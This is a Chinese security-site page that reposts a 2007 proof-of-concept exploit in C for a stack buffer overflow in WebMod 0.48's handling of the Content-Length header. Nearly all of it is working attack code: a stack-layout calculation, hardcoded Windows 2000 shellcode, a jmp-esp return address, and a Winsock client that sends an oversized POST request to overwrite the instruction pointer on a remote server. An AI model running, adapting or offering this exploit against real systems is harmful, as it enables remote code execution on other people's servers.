首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WebMod 0.48 (Content-Length) Remote Buffer Overflow Exploit PoC
来源:cybermind@gmail.com 作者:cybermind 发布时间:2007-03-02  
/*
* WebMod Stack Buffer Overflow
*
* by cybermind (Kevin Masterson)
* cybermind@gmail.com
*
* WebMod v0.48 exploit PoC code
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock.h>
#pragma comment (lib, "ws2_32.lib")

/*
local variables in connectHandle():

char *input; 4
char buf[8192+1]; 8193
int i,j; 8
int connfd; 4
int myid; 4
threaddata_t *tdata; 4
httpquery_t query; 149036
char tmp[1025]; 1025
int rcv; 4
char clbuf[11]; 11

total: 158293
actual (due to padding): 158308


  breakdown of types:
typedef struct s_var { 546
  char name[33];   33
  char value[513];   513
} var_s;


typedef struct s_httpquery { 149036
  char method[11];   11
  char clientip[16];   16
  char url[257];   257
  char *get;   4
  char *post;   4
  char *cookies;   4
  var_s vars[256];   139776
  char currentmapname[257];   257
  char sendcookies[8192+1];   8193
  char contenttype[257];   257
  char location[257];   257
} httpquery_t;
*/

//contains data to fill the Content-Length field with
char spambuf[20000];

//code to inject
//this particular code only works on Win2K SP4 (v5.0.4.0)
//and kernel32.dll v5.0.2195.6688
unsigned char code[] = {
// ; push string onto the stack without using 0x00
0xB8, 0x59, 0x5A, 0x32, 0x11, //mov     eax, 11325A59h ; "HI!\0" + 11111111h
0x2D, 0x11, 0x11, 0x11, 0x11, //sub     eax, 11111111h
0x50, //push    eax
0x8B, 0xC4, //mov     eax, esp ; eax points to string

0x33, 0xC9, //xor     ecx, ecx ; zero

// ; call MessageBox
0x51, //push    ecx ; flags (0)
0x50, //push    eax ; caption
0x50, //push    eax ; text
0x51, //push    ecx ; hwnd (0)
0xB8, 0x98, 0x80, 0xE3, 0x77, //mov     eax, 77E38098h ; &MessageBox
0xFF, 0xD0, //call    eax

// ; call GetCurrentProcessId
0xB8, 0xF4, 0xB8, 0x4E, 0x7C, //mov     eax, 7C4EB8F4h ; &GetCurrentProcessId
0xFF, 0xD0, //call    eax

0x33, 0xC9, //xor     ecx, ecx ; zero

// ; call TerminateProcess
0x51, //push    ecx ; return code (0)
0x50, //push    eax ; process id
0xB8, 0xC3, 0x8D, 0x51, 0x7C,   //mov     eax, 7C518DC3h ; &TerminateProcess
0xFF, 0xD0 //call    eax

};

//EIP you want to insert, this points to an "FF E4" (jmp esp) in w_mm.dll
//set this to 0xFFFFFFFF to just cause a crash
unsigned int our_eip = 0x67E03C5B;

int main(int argc, char* argv[]) {
WSADATA wsadata;
int sock = 0;
struct hostent* host = NULL;
struct sockaddr_in saddr;

//data to sent initially
char initbuf[] = "POST / HTTP/1.1\nHost: localhost:27015\nContent-Length: ";

//data to send after headers
char endbuf[] = "\n\n";

char* hostname = NULL;
short hostport = 27015;

int i;
unsigned int sent = 0;

//get host/port from command line
if (argc < 2) {
printf("Usage:\t%s <hostname|ip> [port=27015]\n", argv[0]);
return 1;
}
hostname = argv[1];
if (argc >= 3) hostport = atoi(argv[2]);

WSAStartup(MAKEWORD(1,1), &wsadata);

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock <= 0) {
printf("socket() error\n");
return 1;
}

host = gethostbyname(hostname);
if (!host) {
printf("gethostbyname() error\n");
return 1;
}

printf("Resolved \"%s\" to %s\n", hostname, inet_ntoa(*(struct in_addr*)host->h_addr_list[0]));

memset(&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(hostport);
memcpy(&saddr.sin_addr.s_addr, host->h_addr_list[0], host->h_length);

if (connect(sock, (struct sockaddr*)&saddr, sizeof(struct sockaddr)) < 0) {
printf("connect() error\n");
return 1;
}

//initialize buffers
memset(spambuf, 'a', sizeof(spambuf));

//send initial POST request
sent += send(sock, initbuf, sizeof(initbuf)-1, 0);

//send 7 full spambufs to get 140000 bytes
for (i = 0; i < 7; ++i)
sent += send(sock, spambuf, sizeof(spambuf), 0);

//send partial spambuf to fill remaining data
//(18308, this goes right up to the EIP)
sent += send(sock, spambuf, 18308, 0);

//fill EIP
sent += send(sock, (char*)&our_eip, sizeof(our_eip), 0);

//insert code!
sent += send(sock, (char*)code, sizeof(code), 0);

//send newlines after content-length
sent += send(sock, endbuf, sizeof(endbuf)-1, 0);

printf("%u bytes sent...waiting...\n", sent);

//wait for a while so the socket isn't closed on our end
//before they receive all the data
Sleep(15000);

return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP 4 Userland ZVAL Reference
·Asterisk <= 1.2.15 / 1.4.0 pre
·phpMyFAQ <= 1.6.7 Remote SQL I
·AJ Auction Pro All Versions (s
·DivX Web Player 1.3.0 (npdivx3
·AJDating 1.0 (view_profile.php
·Snort 2.6.1 DCE/RPC Preprocess
·AJ Forum 1.0 (topic_title.php)
·madwifi <= 0.9.2.1 WPA/RSN IE
·Konqueror 3.5.5 (JavaScript Re
·3Com TFTP Service <= 2.0.1 (Lo
·Links Management Application 1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved